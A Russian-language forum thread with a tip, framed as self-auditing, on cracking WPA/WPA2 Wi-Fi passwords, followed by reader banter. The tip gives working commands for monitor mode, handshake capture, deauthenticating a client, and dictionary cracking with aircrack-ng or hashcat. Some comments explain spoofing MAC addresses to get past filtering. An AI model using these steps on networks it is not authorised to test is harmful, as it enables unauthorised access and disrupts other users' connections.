Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

"Раздел полезных советов: Проверка безопасности беспроводной ..."	+/–
Сообщение от auto_tips (??), 25-Июл-17, 15:23
Беспроводные сети на базе WPA/WPA2 не подвержены прямым методам атаки, но злоумышленник может получить доступ к системам, на которых установлен недостаточно надёжный пароль. Нижеприведённая инструкция позволяет проверить свои системы на предмет стойкости к атаке по типовому словарю паролей. Предлагается два метода восстановления пароля по перехваченному в трафике хэшу - при помощи  [[http://aircrack-ng.org/ Aircrack-ng]] и  [[http://hashcat.net/ Hashcat]]. Устанавливаем Aircrack-ng:    sudo apt-get install aircrack-ng Определяем, поддерживает ли беспроводная карта режим мониторинга (http://aircrack-ng.org/doku.php?id=compatible_cards - выбор поддерживаемых плат), на выходе будет список сетевых интерфейсов для которых имеется подобная поддержка:    airmon-ng Переводим беспроводную плату в режим мониторинга:    airmon-ng start wlan0 Отслеживаем все проходящие в эфире кадры на предмет идентификаторов беспроводной сети (BSSID)  и используемых номеров каналов.    airodump-ng mon0    BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID    9C:5E:8A:C9:AB:C0  -81       19        0    0   6  54e  WPA2 CCMP   PSK  mywifi    ... Определив, что наша сеть имеет BSSID 9C:5E:8A:C9:AB:C0 и 6 канал, отслеживаем и сохраняем в файл capture/-01.cap трафик пакетов, связанных с согласованием нового соединения (ждём пока появится надпись "WPA handshake" и прерываем перехват по ctrl-c):    airodump-ng -c 6 --bssid 9C:5E:8A:C9:AB:C0 -w capture/ mon0 Для того, чтобы не ждать долго инициируем обрыв соединения у подключенных клиентов (64:BC:0C:49:87:F7 - идентификатор клиента):    airodump-ng -c 6 --bssid 9C:5E:8A:C9:AB:C0 mon0    BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                    9C:5E:8A:C9:AB:C0  64:BC:0C:49:87:F7  -37    1e- 1e     4     6479  ASUS    aireplay-ng -0 10 -a 9C:5E:8A:C9:AB:C0 -c 64:BC:0C:49:87:F7 mon0 Загружаем  словарь с примерами паролей (размер 134MB, около 14 млн типовых паролей):    curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/down... Запускаем  aircrack-ng в режиме подбора хэша пароля по словарю (подбор выполняется только на CPU, без привлечения GPU):    aircrack-ng -a2 -b 9C:5E:8A:C9:AB:C0 -w rockyou.txt capture/-01.cap Или используем для этого [[https://github.com/brannondorsey/naive-hashcat naive-hashcat]] (более эффективен при наличии доступа к GPU), предварительно преобразовав cap-дамп в формат hccapx при помощи утилиты  [[https://github.com/hashcat/hashcat-utils cap2hccapx]]:    cap2hccapx.bin capture/-01.cap capture/-01.hccapx    HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh URL: https://github.com/brannondorsey/wifi-cracking Обсуждается: http://www.opennet.dev/tips/info/3025.shtml
Ответить | Правка | Cообщить модератору

Сообщения по теме

[Сортировка по времени | RSS]

5. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
Сообщение от Аноним (5), 27-Июл-17, 02:44
Просмотрел что пользуются паролями по словарю, дальше не интересно) Мои 25 не подберут. хотя недавно пришлось к сети подключать принтер, за...ся пока вбил пароль.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	6. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от cmp (ok), 27-Июл-17, 06:28
	Хе, а у меня 32 - мд5 какой-то лабуды, ноут проще проводом воткнуть и скопировать, а на телефон смс отправить
	Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

	7. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от PuskatelSheptunov (?), 28-Июл-17, 00:03
	я параноик? у меня 63, или вы из соседних палат?
	Ответить | Правка | ^ к родителю #6 | Наверх | Cообщить модератору

	23. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от sabakka (?), 01-Сен-17, 23:44
	у меня 20см.
	Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

	25. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от Аноним (-), 21-Сен-17, 13:18
	Мы с вами из одной палаты, коллега.
	Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

	27. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от Аноним (-), 15-Окт-17, 13:30
	А у меня 64 символа...
	Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

	8. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от AdVv (ok), 28-Июл-17, 10:21
	> Просмотрел что пользуются паролями по словарю, дальше не интересно) Мои 25 не > подберут. хотя недавно пришлось к сети подключать принтер, за...ся пока вбил > пароль. Главное WPS не выключайте !
	Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

9. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
Сообщение от 123 (??), 31-Июл-17, 04:11
Ставим пароль 12345678 и лочим по макам устройства. Хоть и есть в словаре, но отсеим 95% хакеров-любителей.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	10. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от Аноним (-), 02-Авг-17, 09:25
	ты идиот? там видно при скане маки подключеных устройств, я могу твой мак вписать себе, вот ты лох.
	Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

	11. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от Аноним (-), 04-Авг-17, 08:35
	> Ставим пароль 12345678 и лочим по макам устройства. Хоть и есть в > словаре, но отсеим 95% хакеров-любителей. Если бы ты хоть что-то понимал в безопасности то догадался бы что сменить мак значительно проще чем сломать пароль, даже такой. И требования к оборудованию/ос намного меньше. Поэтому фильтр по маку - вообще не защита. Ну разве что если ты сам точкой пользоваться не будешь совсем, предоставив атакующему подбирать весь диапазон маков. Но если ты такой стебщик, проще поставить открытую точку доступа которая никуда не подключена. Или подключена через какой-нибудь очень хитро настроенный файрфол, чтобы пролезал только какой-нибудь днс туннель и более нифига.
	Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

	12. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от Аноним (-), 04-Авг-17, 21:55
	Речь о хакерах любителях же. ну улыбнитесь хоть. Вот ты будешь подменять маки устройств в сети во время перебора паролей? Сеть будет лагать, люди будут дергать шнур роутера и т д.
	Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

	18. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от Аноним (-), 21-Авг-17, 22:03
	Ты не поверишь - сканить будут днём, а подменять мак ночью.
	Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

	22. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от Аноним (-), 28-Авг-17, 04:42
	> Вот ты будешь подменять маки устройств в сети во время перебора паролей? Если сеть по другому не пускает - без вариантов. > Сеть будет лагать, люди будут дергать шнур роутера и т д. Зависит требуется ли скрытность. Если да - подождать пока какой-нибудь клиент угомонится, и тогда.
	Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

13. "Раздел полезных советов: Проверка безопасности беспроводной ..."	+/–
Сообщение от Аноним (-), 04-Авг-17, 21:57
Огласите время перебора среднего пароля из 10 символов на квантовом компьютере, а то не усну. Как заставить точку допускать одну аунтификацию в секунду, например? Микротик может?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	14. "Раздел полезных советов: Проверка безопасности беспроводной ..."	+/–
	Сообщение от Anonimous (?), 07-Авг-17, 22:58
	Можно в metarouter поднять openwrt/lede с radius и поставить ему ограничения.
	Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

	28. "Раздел полезных советов: Проверка безопасности беспроводной ..."	+/–
	Сообщение от MatrixHasYou (?), 10-Ноя-17, 07:17
	> Можно в metarouter поднять openwrt/lede с radius и поставить ему ограничения. Ага, а можно в вашей Виндовс поставить виртуалбокс и поднять там хакинтош чтобы ткнуть на красивую иконочку. ps вы все равно не поймете, но как раз над кнопочкой metarouter есть кнопочка radius коли он вам так нужен
	Ответить | Правка | ^ к родителю #14 | Наверх | Cообщить модератору

	15. "Раздел полезных советов: Проверка безопасности беспроводной ..."	+/–
	Сообщение от Аноним (-), 17-Авг-17, 03:27
	Ну что, все еще не уснул?
	Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

	19. "Раздел полезных советов: Проверка безопасности беспроводной ..."	+/–
	Сообщение от Аноним (-), 21-Авг-17, 22:04
	> Ну что, все еще не уснул? Давайте не дадим спать болезному полгода? Пусть он примет книгу рекордов.
	Ответить | Правка | ^ к родителю #15 | Наверх | Cообщить модератору

	26. "Раздел полезных советов: Проверка безопасности беспроводной ..."	+/–
	Сообщение от ыпр (?), 14-Окт-17, 18:21
	внутривенно? :)
	Ответить | Правка | ^ к родителю #19 | Наверх | Cообщить модератору

16. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
Сообщение от Kuromi (?), 19-Авг-17, 01:20
"Переводим беспроводную плату в режим мониторинга:    airmon-ng start wlan0" Ага, а что, любую карту так можно? раньше помнится были списки чипсетов которые такое позволяли...
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	20. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от Аноним (-), 21-Авг-17, 22:05
	> Ага, а что, любую карту так можно? Любую из списка. Ты новость вообще читал?
	Ответить | Правка | ^ к родителю #16 | Наверх | Cообщить модератору

17. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	–1 +/–
Сообщение от лютый жабист__ (?), 20-Авг-17, 08:33
Спасибо за статью! Не знал, что так всё просто.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	21. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от Аноним (21), 23-Авг-17, 22:51
	а слабо было "iwconfig wlan0 mode Monitor" попробовать ? Тут нелинуксоиды вопросы оставляют с хитрым словом "чипсет" ???
	Ответить | Правка | ^ к родителю #17 | Наверх | Cообщить модератору

	24. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от Аноним (-), 10-Сен-17, 18:35
	> Не знал, что так всё просто. Знал, что так всё не просто.
	Ответить | Правка | ^ к родителю #17 | Наверх | Cообщить модератору

	29. "Проверка безопасности беспроводной сети WPA/WPA2 при помощи ..."	+/–
	Сообщение от Аноним (29), 12-Авг-18, 13:42
	Знал, что не всё так просто.
	Ответить | Правка | ^ к родителю #24 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема